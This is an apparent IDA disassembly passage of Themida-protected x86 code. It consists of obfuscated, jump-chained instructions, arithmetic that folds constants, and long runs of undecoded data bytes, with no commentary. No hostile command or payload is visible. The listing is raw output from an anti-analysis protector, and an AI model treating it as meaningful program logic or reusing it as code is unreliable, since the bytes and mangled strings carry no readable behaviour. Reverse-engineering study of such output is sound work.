mov ch, 0FFh
sub bl, 81h
add bl, ch
add bl, 81h
pop cx
neg bl
add bl, 14h
xor al, bl
jmp loc_575503
; ---------------------------------------------------------------------------
db 68h, 0BCh, 0Ah
dd 28E93A79h
db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564373: ; CODE XREF: Themida_:0056996Dj
and ebp, 1A9910E7h
jmp loc_570098
; ---------------------------------------------------------------------------
dw 348Bh
dd 4C48124h, 0E9000000h, 9432h, 4C381h, 0EB810000h, 4
dd 5C241C87h, 4FBFE9h, 60685900h, 8900001Eh, 5B54241Ch
dd 36CD68h, 24048900h, 674EE9h
db 0
; ---------------------------------------------------------------------------
loc_5643B9: ; CODE XREF: Themida_:0056AD88j
add edi, 0DFDEAC7Dh
add eax, edi
mov edi, [esp]
add esp, 4
add eax, 7C1119FFh
sub eax, ebp
push edx
mov edx, 7C1119FFh
sub eax, edx
jmp loc_56ADD7
; ---------------------------------------------------------------------------
db 57h
dd 0A42FDCBFh, 8BFE215Eh, 0C481243Ch, 4, 0CC5DE950h, 0D3010000h
dd 2F45E95Ah
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5643FA: ; CODE XREF: Themida_:00575132j
pop esi
jmp loc_567CA8
; ---------------------------------------------------------------------------
dd 8004E2C0h, 0D0006DEAh, 52F0005Ah, 0C28099B2h, 0E420E91Dh
dd 0EA810000h, 54137BB7h, 0C462F281h, 0D101DEFDh, 9210E95Ah
dd 0A2680000h, 89000049h, 78BB241Ch, 1664D0Dh, 0C1815BD9h
dd 7D283A11h, 4104E1C1h, 5895C981h, 0BE565EDCh, 0B4B70B02h
dd 0CFE9F131h, 0BD000039h, 0BF13ECBh, 0CD81D5F7h, 32057936h
dd 638EC581h, 0CAE93385h, 0AD000001h, 0EC81D831h, 4, 51243C89h
dd 0D08EE953h, 0C890000h, 83E18924h, 348904ECh, 660CBE24h
dd 0BF575DF9h, 5B8E76FDh, 2685CF81h, 0CF812504h, 3F1E4F40h
dd 0C147EFD1h, 6BE906E7h, 590000C4h, 2BD55h, 0EF010000h
dd 821E95Dh, 8B660001h, 13682404h, 89000015h, 0DEE92414h
dd 68000005h, 5920h, 50241489h, 847B08B8h, 0FCBB5302h
dd 0E9FD7B84h, 9BA8h
; ---------------------------------------------------------------------------
loc_5644E8: ; CODE XREF: Themida_:00570552j
mov esi, [esp]
push esi
mov esi, esp
add esi, 4
push eax
mov eax, 54A2405Ch
add eax, 0AB5DBFA8h
add esi, eax
pop eax
jmp loc_574933
; ---------------------------------------------------------------------------
db 81h
dd 63E1D8C6h, 5EF23115h, 2593F281h, 0D7E94EF2h, 890000E5h
dd 30E9241Ch
db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564523: ; CODE XREF: Themida_:00574510j
add esp, 4
or edx, eax
shl edx, 1
push ebx
push 3717h
mov [esp], esi
jmp loc_569606
; ---------------------------------------------------------------------------
loc_564538: ; CODE XREF: Themida_:0056BD04j
mov [esp], edx
mov edx, 0CFC2BDFAh
sub ebp, edx
pop edx
push ebp
pop ebx
mov ebp, [esp]
add esp, 4
push ebx
pop edi
mov ebx, [esp]
add esp, 4
jmp loc_575959
; ---------------------------------------------------------------------------
dw 0BA52h
dd 75344A5Eh, 815AD331h, 1F7F13C7h, 81DF0124h, 1F7F13EFh
dd 2434FF24h, 6EEF685Bh, 3C890000h, 81E78924h, 4C7h, 4C78100h
dd 33000000h, 3C31243Ch, 243C3324h, 9D33E95Ch, 0E5800000h
dd 76ED80EFh, 3057B252h, 0E9535AD5h, 49B3h, 0FFCA8DE9h
dd 0A187BFFFh, 0C72975F6h, 1EEF8158h, 1496C5Ch, 0CD33E9FDh
dd 3040000h, 32CD828h, 25C6E9h, 4C18100h, 83000000h, 0A5E904C1h
db 51h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5645E3: ; CODE XREF: Themida_:00573AB0j
push esi
jmp loc_56263A
; ---------------------------------------------------------------------------
aUhRZMb db 'UhÑR>z]MÅ',7,0
db 0CAh, 0FFh, 0E9h
dd 0FFFFE8CFh, 2F15BB53h, 6ABF7305h, 1F3810Dh, 0C1475BDFh
dd 0C5E905EFh, 660000CFh, 0E924048Bh, 0DFD3h, 4EC81h, 14890000h
dd 89C28924h, 0A106E9D7h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56462E: ; CODE XREF: Themida_:00566DB9j
push esi
mov esi, 2E6A724Fh
jmp loc_571B80
; ---------------------------------------------------------------------------
db 29h, 0EEh, 5Dh
dd 0EE81DEF7h, 1C6A9339h, 4380C781h, 0F701691Fh, 4380EF81h
dd 555E691Fh, 10BA8E9h, 0A8C78100h, 8B5E7D61h, 0C4812434h
dd 4, 28E9FB29h, 0AD0000ACh, 4968D831h, 89000057h, 91E9240Ch
dd 810000FDh, 0FB47C7C2h, 0F245E99Eh, 0BE56FFFFh, 6CA72590h
dd 26F6814Eh, 2971A124h, 0BD555EF0h, 2AF051DBh, 0A3E9E801h
dd 8900002Eh, 4B951E2h, 1000000h, 0E17BE9CAh, 489FFFFh
dd 34D9E924h, 248B0000h, 52F9F724h, 0BF575A54h, 61957FB8h
dd 3989F781h, 0E9566C74h, 2998h, 0ED834D5Eh, 2420E901h
dd 0E9520000h, 10374h
; ---------------------------------------------------------------------------
loc_5646E8: ; CODE XREF: Themida_:00564BCDj
pop edx
dec al
xor al, 0D0h
jmp loc_565572
; ---------------------------------------------------------------------------
dw 2B68h
dd 0E9000012h, 3E65h
; ---------------------------------------------------------------------------
loc_5646FC: ; CODE XREF: Themida_:00566E78j
pop ebx
add cl, 1Eh
sub al, cl
push dword ptr [esp]
pop ecx
sub esp, 4
mov [esp], ebp
push esp
pop ebp
push edx
mov edx, 4CC33BBDh
dec edx
sub esp, 4
jmp loc_5707A2
; ---------------------------------------------------------------------------
dd 6851C780h, 17C0h, 51240489h, 51662CB1h, 662414F6h, 78F18059h
dd 0B4E9C888h
db 0D1h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56473F: ; CODE XREF: Themida_:00575426j
neg edi
shl edi, 6
push esi
mov esi, 0
sub esi, edi
jmp loc_563981
; ---------------------------------------------------------------------------
db 89h, 0C2h, 58h
dd 0F210559h, 0D001043Fh, 3F0F212Dh, 24148B04h, 0E904C483h
dd 0FFFFD3ECh, 5A4568h, 242C8900h, 9C96E9h, 62EE8100h
dd 0C1194B62h, 0F68102EEh, 79E6ED59h, 348BF031h, 4C48124h
dd 5000000h, 2E9A2397h, 3818C70Dh, 5E8C16Fh, 0FFEDD6E9h
dd 52C280FFh, 5A5AD028h, 2702E952h, 0F0310000h, 0D0F7C631h
dd 0F031C631h, 0E952C631h, 10EECh
; ---------------------------------------------------------------------------
loc_5647C4: ; CODE XREF: Themida_:0056D961j
add ebx, 0C05243C8h
shl ebx, 5
jmp loc_57365C
; ---------------------------------------------------------------------------
dw 8150h
dd 444C2404h, 0C8E90BAEh
db 0FAh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5647DF: ; CODE XREF: Themida_:0056D3E4j
dec ecx
add ecx, 0C21145FBh
add eax, ecx
pop ecx
add ebp, eax
pop eax
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
push edx
mov edx, 49B60B92h
mov eax, 0B649F472h
jmp loc_56796F
; ---------------------------------------------------------------------------
db 2Dh, 59h, 0F6h
dd 0C289F07Dh, 5521E958h, 5E540000h, 4C681h, 0C6810000h
dd 4, 5C243487h, 4EC81h, 7FE90000h, 0B70000B8h, 0ACF780B8h
dd 885BFA88h, 0FAE95AD1h, 520000D8h, 9F325EBAh, 0FFD52107h
dd 815A2434h, 4C4h, 0A4FAE900h, 0C1810000h, 570643Dh, 4C1835Dh
dd 0E904EC83h, 3A09h, 8035EA80h, 0B0501DCAh, 0FEC0FE05h
dd 343004C0h, 0C304D3h, 0B7E958C2h, 580000DEh, 0E7895757h
dd 0CDE9E9h, 87C58100h, 1714D15h, 87ED81C5h, 58714D15h
dd 0E5069305h, 2DE80110h, 10E50693h, 0E92434FFh, 0E7BDh
; ---------------------------------------------------------------------------
loc_5648B4: ; CODE XREF: Themida_:005619D9j
mov esp, [esp]
push 53FFh
mov [esp], esi
mov esi, esp
push ebx
jmp loc_569EE0
; ---------------------------------------------------------------------------
db 59h
dd 1032DE9h, 2434FF00h, 0FFFFB2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5648D5: ; CODE XREF: Themida_:00564EFBj
push ebp
mov ebp, 3A444A3Ah
jmp loc_56B2DA
; ---------------------------------------------------------------------------
loc_5648E0: ; CODE XREF: Themida_:00576324j
pop ebp
sub esp, 4
jmp loc_57280F
; ---------------------------------------------------------------------------
loc_5648EC: ; CODE XREF: Themida_:0056912Cj
add ebx, 4
push 4861h
mov [esp], ebp
push ecx
jmp loc_566647
; ---------------------------------------------------------------------------
dd 4EC835Eh, 53242C89h, 7699E9h
db 0
; ---------------------------------------------------------------------------
loc_56490D: ; CODE XREF: Themida_:00561149j
pop ecx
push edi
mov edi, esp
add edi, 4
sub edi, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ebx
mov ebx, esp
jmp loc_56AAE6
; ---------------------------------------------------------------------------
db 81h
dd 0CE3075C7h, 81DF010Dh, 0CE3075EFh, 0C7815B0Dh, 4, 0E9243C87h
dd 0BA7Ch, 35676856h, 0B95E339Ch, 23B4849h, 348BF101h
dd 4C48324h, 56F7EB81h, 0BD552041h, 6BF5402Ah, 15DEB01h
dd 2AEB81CBh, 576BF540h, 4156F7BFh, 5FFB0120h, 68240C8Bh
dd 2F74h, 68241C89h, 3D38h, 81242489h, 42404h, 9E90000h
dd 210000F8h, 0E95D1C6Fh, 11498h, 0B8240489h, 1F3D54CEh
dd 0CA5C5D25h, 0B5850524h, 0D0F75177h, 68FFE883h, 418h
dd 53240C89h, 0D69B468h, 81435B25h, 0D85F49EBh, 5BD989EBh
dd 4107E9C1h, 0FD87E987h, 0FD31D7F7h, 0FD31EF31h, 0E1C1E987h
dd 47EBE905h, 77FF0000h, 59669D1Ch, 2414D366h, 14E8E99Ch
db 1, 0
; ---------------------------------------------------------------------------
loc_564A06: ; CODE XREF: Themida_:00562FBEj
push ebx
mov ebx, ebp
mov eax, ebx
push dword ptr [esp]
pop ebx
add esp, 4
mov ebp, [esp]
push edi
mov edi, esp
jmp loc_57141D
; ---------------------------------------------------------------------------
dd 24048F58h, 6624248Bh, 9C2424D3h, 0FFC611E9h, 68FD5AFFh
dd 4E0Bh, 0FFFF6FE9h, 2BBFFh, 0DA010000h, 11FBDE9h, 37C58100h
dd 89FCE86Ch, 0EF0E9EBh, 34FF0001h, 240C8B24h, 4C481h
dd 0A9E90000h, 8B000112h, 89562414h, 4C681E6h, 0E9000000h
dd 403Eh, 24048F5Fh, 5324248Bh, 0FFFFB8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_564A85: ; CODE XREF: Themida_:005769AEj
mov [esp], cx
jmp loc_57547F
; ---------------------------------------------------------------------------
dw 48Fh
dd 0C4835C24h, 0E9545104h, 10A50h, 0DAD6C681h, 0C5815B47h
dd 4F1A4F06h, 0FFD686E9h, 50E289FFh, 5C1768h, 243C8900h
dd 6951D6BFh, 7468577Dh, 5F325E48h, 19A6F781h, 0F8894F37h
dd 8BF8315Fh, 0C483243Ch, 0C0685304h, 5B173313h, 0F99EE943h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_564AE2: ; CODE XREF: Themida_:00565599j
add ebx, 4
add ebx, 4
jmp loc_5642DB
; ---------------------------------------------------------------------------
db 88h
dd 5AF188DEh, 6E1C05Bh, 19D5E9h
db 0
; ---------------------------------------------------------------------------
loc_564B01: ; CODE XREF: Themida_:0056799Ej
mov ecx, esp
add ecx, 4
jmp loc_575B82
; ---------------------------------------------------------------------------
dw 0CA01h
aYZsqc db 'Y!ÖZéï—',0
dd 59ACB900h, 5D6860F3h, 0E9000025h, 0FFFFFB8Eh
; ---------------------------------------------------------------------------
loc_564B28: ; CODE XREF: Themida_:0057181Cj
add dword ptr [esp], 4
pop ecx
push edx
mov edx, esp
push ebx
mov ebx, 4
add edx, ebx
jmp loc_56AC62
; ---------------------------------------------------------------------------
db 89h, 0E0h, 5
dd 4, 8704C083h, 285C2404h, 0F8005BD8h, 0B886E9h, 243C8700h
dd 0E5A4E9h, 5AD02800h, 3E0C059h, 0C328BD04h, 3227E9h
dd 24048100h, 4, 8A20E9h, 0C6295F00h, 5624048Bh, 0B7E9E689h
db 66h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_564B87: ; CODE XREF: Themida_:00571BF6j
add eax, 5686196Bh
sub eax, edx
sub eax, 5686196Bh
add eax, 53D0073Ch
pop edx
add eax, esi
add eax, 13522735h
mov esi, [esp]
add esp, 4
push eax
push dword ptr [esp+4]
mov eax, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
btr [esp], ax
pushf
jmp loc_561042
; ---------------------------------------------------------------------------
loc_564BC2: ; CODE XREF: Themida_:005686DAj
push ebx
push ecx
mov cl, dl
jmp loc_5761C1
; ---------------------------------------------------------------------------
loc_564BCB: ; CODE XREF: Themida_:0056CA3Aj
xor al, dh
jmp loc_5646E8
; ---------------------------------------------------------------------------
dw 0EA81h
dd 4F1E4E2Bh, 48B0B850h, 0D8F71017h, 7255422Dh, 8BC201C1h
dd 0C4832404h, 38F28104h, 0E9E05AC6h, 9155h, 5C243C87h
dd 240C8B66h, 0F21AE9h, 0BF579200h, 6012D6Bh, 0FD3FC781h
dd 0FA015B44h, 0FFC641E9h, 0A8168FFh, 1C890000h, 721F6824h
dd 4890000h, 0CA4BE924h, 0C681FFFFh, 4, 5C243487h, 0FC78166h
dd 1C31E919h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_564C42: ; CODE XREF: Themida_:00575527j
mov bl, 0EAh
shr bl, 5
neg bl
dec bl
or bl, 0B6h
jmp loc_56DEA8
; ---------------------------------------------------------------------------
db 41h
dd 0E981D9F7h, 0FA05EA42h, 159CD89h, 34875DEEh, 24248B24h
dd 4A9A68h, 240C8900h, 0FFFCDBE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_564C75: ; CODE XREF: Themida_:0056DFF9j
sub esp, 4
mov [esp], ecx
push 5846h
mov [esp], edx
push 71EEh
jmp loc_574D85
; ---------------------------------------------------------------------------
loc_564C90: ; CODE XREF: Themida_:00562D9Fj
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
mov eax, edi
pop edi
jmp loc_56D54E
; ---------------------------------------------------------------------------
loc_564CA7: ; CODE XREF: Themida_:0057466Fj
mov edx, [esp]
jmp loc_561852
; ---------------------------------------------------------------------------
db 0FFh
dd 835B2434h, 0F68104C4h, 1F845D1Eh, 215EF189h, 607FE9CAh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_564CC6: ; CODE XREF: Themida_:0056CF58j
mov [esp], edx
mov edx, 57193BEAh
shl edx, 2
push ebx
jmp loc_568A25
; ---------------------------------------------------------------------------
loc_564CD7: ; CODE XREF: Themida_:0056C572j
add edx, 0FFFFFFFFh
add edx, 29D0EAE2h
sub ebx, edx
mov edx, [esp]
add esp, 4
add ebx, eax
add ebx, 67874830h
push ebp
push edi
mov edi, 7751799Ch
mov ebp, edi
pop edi
add ebx, ebp
pop ebp
sub esp, 2
jmp loc_56D1BE
; ---------------------------------------------------------------------------
db 5Bh
dd 0FFF3ACE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_564D11: ; CODE XREF: Themida_:00573E10j
or ebx, ebx
jnz loc_565FDD
sub esp, 4
mov [esp], ebx
mov ebx, 20h
push ecx
push 5859h
mov [esp], edx
mov edx, 73697D6Fh
mov ecx, edx
pop edx
push eax
jmp loc_57096C
; ---------------------------------------------------------------------------
loc_564D3B: ; CODE XREF: Themida_:0056EC8Aj
pop ebx
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
jmp loc_570C72
; ---------------------------------------------------------------------------
dd 24048B66h, 11A90E9h, 0FBCE8100h, 0E907A83Fh, 6855h
dd 42474FFh, 24048F58h, 4EC815Ch, 89000000h, 0E2E9242Ch
dd 680000F3h, 120Dh, 0A704E9h, 0F7875E00h, 6D05C781h, 685542h
dd 81000000h, 543A242Ch, 3C294AF1h, 24048124h, 4AF1543Ah
dd 0CE64E95Fh, 0C89FFFFh, 7B5F6824h, 4EE93B21h, 89FFFFD0h
dd 9DB82404h, 21146703h, 0CE8158C6h, 1F0270F4h, 0F1EE8146h
dd 11F0270h, 2F685EF5h, 89000076h, 92BA2414h, 503FA144h
dd 5462E9h
db 0
; ---------------------------------------------------------------------------
loc_564DE5: ; CODE XREF: Themida_:0056C932j
push edi
push ebx
mov ebx, 1FA90724h
add ebx, 603E78A0h
jmp loc_56A0C1
; ---------------------------------------------------------------------------
db 1
dd 0C38158C3h, 2, 0E9241C33h, 577Eh, 5350CD29h, 253ABABBh
dd 0E9D8892Fh, 6B80h, 5504C483h, 0DB1D1CBDh, 5DEE0117h
dd 0EE81EE01h, 17DB1D1Ch, 83242C8Bh, 0EC8304C4h, 24048904h
dd 6BDCBE56h, 0C6813C6Bh, 0C3949426h, 34FF5856h, 24348B24h
dd 4C481h, 0C4830000h, 56EE8104h, 0E969D268h, 3530h, 15AD101h
dd 576859C8h, 0E9000039h, 0E892h
; ---------------------------------------------------------------------------
loc_564E70: ; CODE XREF: Themida_:00574BC1j
push edx
mov edx, 4
sub esi, edx
pop edx
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
mov [esp], eax
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
mov eax, [esp]
add esp, 4
push ebp
mov ebp, 0D6611DCh
shl ebp, 6
sub ebp, 12411798h
shr ebp, 8
jmp loc_569F1B
; ---------------------------------------------------------------------------
loc_564EB0: ; CODE XREF: Themida_:00574A0Ej
push eax
mov eax, 1D5E4516h
jmp loc_5739E6
; ---------------------------------------------------------------------------
db 68h
dd 7567h, 54241489h, 5224148Bh, 11A3BE9h, 6C116800h, 0E95A2A7Bh
dd 1336h
; ---------------------------------------------------------------------------
loc_564ED8: ; CODE XREF: Themida_:0056838Bj
sub edi, ebp
pop ebp
jmp loc_562780
; ---------------------------------------------------------------------------
loc_564EE0: ; CODE XREF: Themida_:0056BCE2j
add ebp, 4
jmp loc_5690F3
; ---------------------------------------------------------------------------
loc_564EEB: ; CODE XREF: Themida_:00563237j
sub ebx, 4E787F73h
push edx
push ebx
add dword ptr [esp], 36B8354Fh
pop edx
jmp loc_5648D5
; ---------------------------------------------------------------------------
dd 126FEF81h, 0E95857DDh, 71E7h, 3F5CF381h, 0D8896EB5h
dd 8F1DE9h, 4C48300h, 0ECEFE952h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564F22: ; CODE XREF: Themida_:005739CBj
add ecx, 6A865457h
jmp loc_568347
; ---------------------------------------------------------------------------
aIXs db '‰ÅXéÁÞ',0
db 0
; ---------------------------------------------------------------------------
loc_564F35: ; CODE XREF: Themida_:0056C810j
mov eax, 72F90277h
xor eax, 14AC5D4Dh
not eax
push edx
mov edx, 0FFFFFFFFh
sub eax, edx
pop edx
not eax
neg eax
push ebp
jmp loc_56EC8F
; ---------------------------------------------------------------------------
loc_564F54: ; CODE XREF: Themida_:00569C36j
push edx
push 3E083D53h
pop edx
and edx, 14B50737h
dec edx
inc edx
xor edx, 76B924E7h
mov esi, edx
pop edx
and esi, 52026D2Dh
or esi, 5BE0461Eh
add esi, 0A6D9ABCh
jmp loc_571F2D
; ---------------------------------------------------------------------------
db 83h
dd 0E2E904ECh, 8300001Ah, 0A9E904C4h
db 33h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_564F93: ; CODE XREF: Themida_:0056261Dj
pop ecx
add edx, eax
push ebp
mov ebp, 4E1E220Ch
add ebp, 0E8635165h
push ebx
push 199Fh
mov [esp], esi
jmp loc_56B82A
; ---------------------------------------------------------------------------
loc_564FB0: ; CODE XREF: Themida_:00574986j
mov [esp], ecx
jmp loc_56F716
; ---------------------------------------------------------------------------
dd 7B685752h, 5F3DC779h, 797CEF81h, 0F2E93DC7h, 8900005Ch
dd 405E0h, 0C0830000h, 6CDAE904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_564FDA: ; CODE XREF: Themida_:0056B2D5j
or edx, eax
shl edx, 1
push 4B72h
mov [esp], edx
push 730Fh
jmp loc_56DEB0
; ---------------------------------------------------------------------------
dd 247E505h, 58C6891Dh, 10F2E9h
db 0
; ---------------------------------------------------------------------------
loc_564FFD: ; CODE XREF: Themida_:005719CAj
sub esp, 4
mov [esp], eax
mov eax, 7DC436E1h
sub edx, 2F6A3628h
sub edx, eax
push ebp
mov ebp, 2F6A3628h
add edx, ebp
mov ebp, [esp]
add esp, 4
pop eax
push ebp
mov ebp, 414F31C4h
jmp loc_57027D
; ---------------------------------------------------------------------------
loc_56502D: ; CODE XREF: Themida_:0056FE43j
push edi
mov edi, 77A100F9h
and edi, 63452E5Ch
dec edi
neg edi
jmp loc_56142C
; ---------------------------------------------------------------------------
db 0FFh, 74h, 24h
dd 48F5B04h, 24248B24h, 9C2424D3h, 0FFBFEDE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_565055: ; CODE XREF: Themida_:00566F4Dj
pop esp
push edx
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_561774
; ---------------------------------------------------------------------------
dw 875Ah
dd 665C243Ch, 5324048Bh, 0EB68E389h, 89000041h, 5CE9240Ch
dd 100010Dh, 48759C8h, 312FE924h, 74FF0000h, 48B0424h
dd 4C48324h, 8B24048Fh, 0C3E92424h
db 0B4h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56509F: ; CODE XREF: Themida_:0056139Ej
mov esi, 4
add ecx, esi
mov esi, [esp]
jmp loc_5618F8
; ---------------------------------------------------------------------------
dw 148Bh
aSue_0 db '$éu¥',0
align 2
dw 1C8Bh
aSfl db '$éFL',0
align 2
dw 0EAC1h
dd 3EAC103h, 0DAEDC281h, 0D7894DE4h, 54F7815Ah, 0E954EF32h
dd 4173h
; ---------------------------------------------------------------------------
loc_5650D8: ; CODE XREF: Themida_:0056DAC9j
add ebp, 4
xchg ebp, [esp]
jmp loc_569FF0
; ---------------------------------------------------------------------------
loc_5650E3: ; CODE XREF: Themida_:005633F3j
add esi, 4
xor esi, [esp]
xor [esp], esi
jmp loc_566FE1
; ---------------------------------------------------------------------------
db 31h, 4, 24h
dd 5C240433h, 0CF10E9h, 24148900h, 88C78853h, 36685BFAh
dd 89000026h, 0D588240Ch, 0D513E950h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_565116: ; CODE XREF: Themida_:00562305j
sub edi, 30206889h
add esi, edi
jmp loc_56C52A
; ---------------------------------------------------------------------------
db 83h
dd 0BF5701E9h, 13F1256h, 0FFED0CE9h, 3626BEFFh, 0BB532A8Bh
dd 0D8161FE1h, 1125E9h
db 0
; ---------------------------------------------------------------------------
loc_565141: ; CODE XREF: Themida_:0056318Ej
mov [esp], ebp
mov ebp, esp
add ebp, 4
push 0AB7h
mov [esp], edi
jmp loc_56CD4E
; ---------------------------------------------------------------------------
db 0E9h, 0E4h, 0BEh
dd 0C381FFFFh, 4, 4EB81h, 0FF530000h, 8B042474h, 0C483241Ch
dd 24048F04h, 2424895Ch, 4BE56h, 74010000h, 585E0424h
dd 0E9E38953h, 0FFFFF1FCh, 9AF68h, 242C8900h, 4EC81h, 14890000h
dd 55AFBA24h, 0CA810D97h, 68DB5DD7h, 8142DAF7h, 0EE6149EAh
dd 0D0895049h, 81E9C589h, 0BD000103h, 698D3A3Ah, 8106E5C1h
dd 481AA7EDh, 0C6ED817Dh, 811BF90Eh, 15BDC9C5h, 5DE9297Dh
dd 4D6CC181h, 0F18155B6h, 36FF6888h, 159CA01h, 28685AD6h
dd 89000056h, 0BF57242Ch, 2, 242C8157h, 707752F2h, 556CE95Dh
dd 0EDBD0000h, 686BEA4Dh, 5DC4h, 0F7242C89h, 0F0E92414h
dd 660000B4h, 34FFEB89h, 242C8B24h, 0FFDB22E9h, 835858FFh
dd 1C8904ECh, 69685724h, 0E92F5A28h, 0F8EEh, 148B04BEh
dd 5EF531D7h, 2C8BE901h, 0E0895024h, 612DE9h
db 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push edx
mov edx, 644D1582h
or edx, 756578F0h
add edx, 66853409h
jmp loc_56953A
; ---------------------------------------------------------------------------
db 4Fh
dd 5504EFC1h, 0B31FD7BDh, 57ED811Eh, 29C0401Ah, 0D86CE9EFh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_565286: ; CODE XREF: Themida_:00570674j
xor edi, ebp
jmp loc_56C1F1
; ---------------------------------------------------------------------------
db 5Dh, 8Bh, 2Ch
dd 4C48124h, 51000000h, 5C290BB9h, 91C18162h, 0E9F320E6h
dd 9BE0h, 0F7FFC283h, 0C2EA81D2h, 2977BF70h, 0D5E95AD0h
dd 89FFFFFEh, 24148BD6h, 4C481h, 0BF570000h, 73303F7Ch
dd 461FE9h
db 0
; ---------------------------------------------------------------------------
loc_5652D1: ; CODE XREF: Themida_:00571E7Ej
push 22EFh
mov [esp], edx
jmp loc_571898
; ---------------------------------------------------------------------------
dw 0C281h
dd 4, 8B241487h, 48F2424h, 79B2E924h, 44010000h, 5D580424h
dd 0B568h, 24048900h, 4B50E9h
db 0
; ---------------------------------------------------------------------------
loc_565305: ; CODE XREF: Themida_:0056F2E2j
or ecx, eax
jmp loc_569FE9
; ---------------------------------------------------------------------------
dd 4C4815Ah, 0D000000h, 3096779Ah, 0EB7BF02Dh, 0FFBA5242h
dd 29FFFFFFh, 0EC815AD0h, 4, 0BF243C89h, 197805B5h, 3C8BF809h
dd 4C48324h, 7C07FD2Dh, 58C1013Dh
db 33h
byte_565345 db 0Ch, 24h, 0E9h ; DATA XREF: ___:00444984o
; ___:00444D7Co
dd 69FCh, 0B0240489h, 8BC688B7h, 0C4832404h, 46206804h
dd 1C890000h, 88F78824h, 241C8BF9h, 4EC81h, 4BE90000h
dd 81FFFFD6h, 4C4h, 24143300h, 0E9241431h, 63BEh, 285BFA00h
dd 1004E9D0h, 3BB80000h, 8970D27Dh, 0F18158C1h, 23463C94h
dd 372DC981h, 0D1F74776h, 5A7AF181h, 0C18105EFh, 69148329h
dd 8107E9C1h, 0F9E0F4F1h, 0E4EE94Ah
db 1, 0
; ---------------------------------------------------------------------------
loc_5653BE: ; CODE XREF: Themida_:00574A40j
mov [esp], edi
mov edi, 0EF13656h
jmp loc_569FF6
; ---------------------------------------------------------------------------
db 57h
dd 0C781E789h, 4, 4EF81h, 3C870000h, 14895C24h, 33B75324h
dd 64865366h, 0CCFE0124h, 1246486h, 0E9525B66h, 64FBh
dd 0E9C23159h, 0FFFFBC42h, 0E3F5E95Eh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_565406: ; CODE XREF: Themida_:00567043j
mov [esp], edi
mov edi, 4
jmp loc_56B49B
; ---------------------------------------------------------------------------
loc_565413: ; CODE XREF: Themida_:0056DFC8j
mov edx, 6A9A3ECDh
mov ebp, 7B045DEBh
xor ebp, edx
mov edx, [esp]
add esp, 4
jmp loc_571888
; ---------------------------------------------------------------------------
db 5Bh, 1, 0CBh
dd 0ACEA8159h, 81376A45h, 7616FEC2h, 4DEA8132h, 8125BE0Bh
dd 0FE1C80C2h, 0C0EA8146h, 2940C07Eh, 0C0C281C2h, 8140C07Eh
dd 0FE1C80EAh, 0E791E946h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_565462: ; CODE XREF: Themida_:005611D1j
sub ecx, 33FE1749h
push ebx
mov ebx, 53115DF7h
or ecx, ebx
mov ebx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push 72D3h
mov [esp], ebp
jmp loc_569A77
; ---------------------------------------------------------------------------
db 0BAh
dd 791D6074h, 2927C681h, 0D60100EAh, 3E86E955h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5654A6: ; CODE XREF: Themida_:0056F60Dj
push dx
jmp loc_575659
; ---------------------------------------------------------------------------
db 8Bh, 34h, 24h
dd 8704C483h, 248B2404h, 2434FF24h, 6ACB6858h, 1C890000h
dd 864DE924h, 73E90000h
db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5654CF: ; CODE XREF: Themida_:0056A4DFj
mov esi, esp
jmp loc_56B6A4
; ---------------------------------------------------------------------------
dw 1C89h
aIh db '$·ˆh^',0Ah,0
align 10h
dd 52240489h, 0D088FA88h, 0B8E9535Ah, 0D1FFFFD9h, 0A8E981E9h
dd 50007F3Bh, 0C289C889h, 0BBE95958h
db 84h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_565503: ; CODE XREF: Themida_:0056B2E0j
add ebp, 2337B0Bh
add ebp, 0A49A66A4h
sub edx, ebp
jmp loc_561235
; ---------------------------------------------------------------------------
dw 0C781h
dd 4, 8B243C87h, 0C9E92424h, 5200005Bh, 0C978C5BAh, 0FB8CE954h
dd 1486FFFFh, 53516624h, 0DD88D388h, 30FD305Bh, 0F6FD30EFh
dd 53FD86D7h, 0E5E9EF88h, 8B000024h, 0C4812414h, 4, 667BE9h
dd 0C8B6600h, 0C99CE924h, 815D0000h, 4C5h, 0C4CDE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_565572: ; CODE XREF: Themida_:005646EDj
push 34F4h
mov [esp], ebx
mov bh, 70h
add bh, 0D7h
neg bh
sub bh, 7Fh
jmp loc_575A10
; ---------------------------------------------------------------------------
loc_565589: ; CODE XREF: Themida_:0056FA6Ej
pop ebx
jmp loc_5673FB
; ---------------------------------------------------------------------------
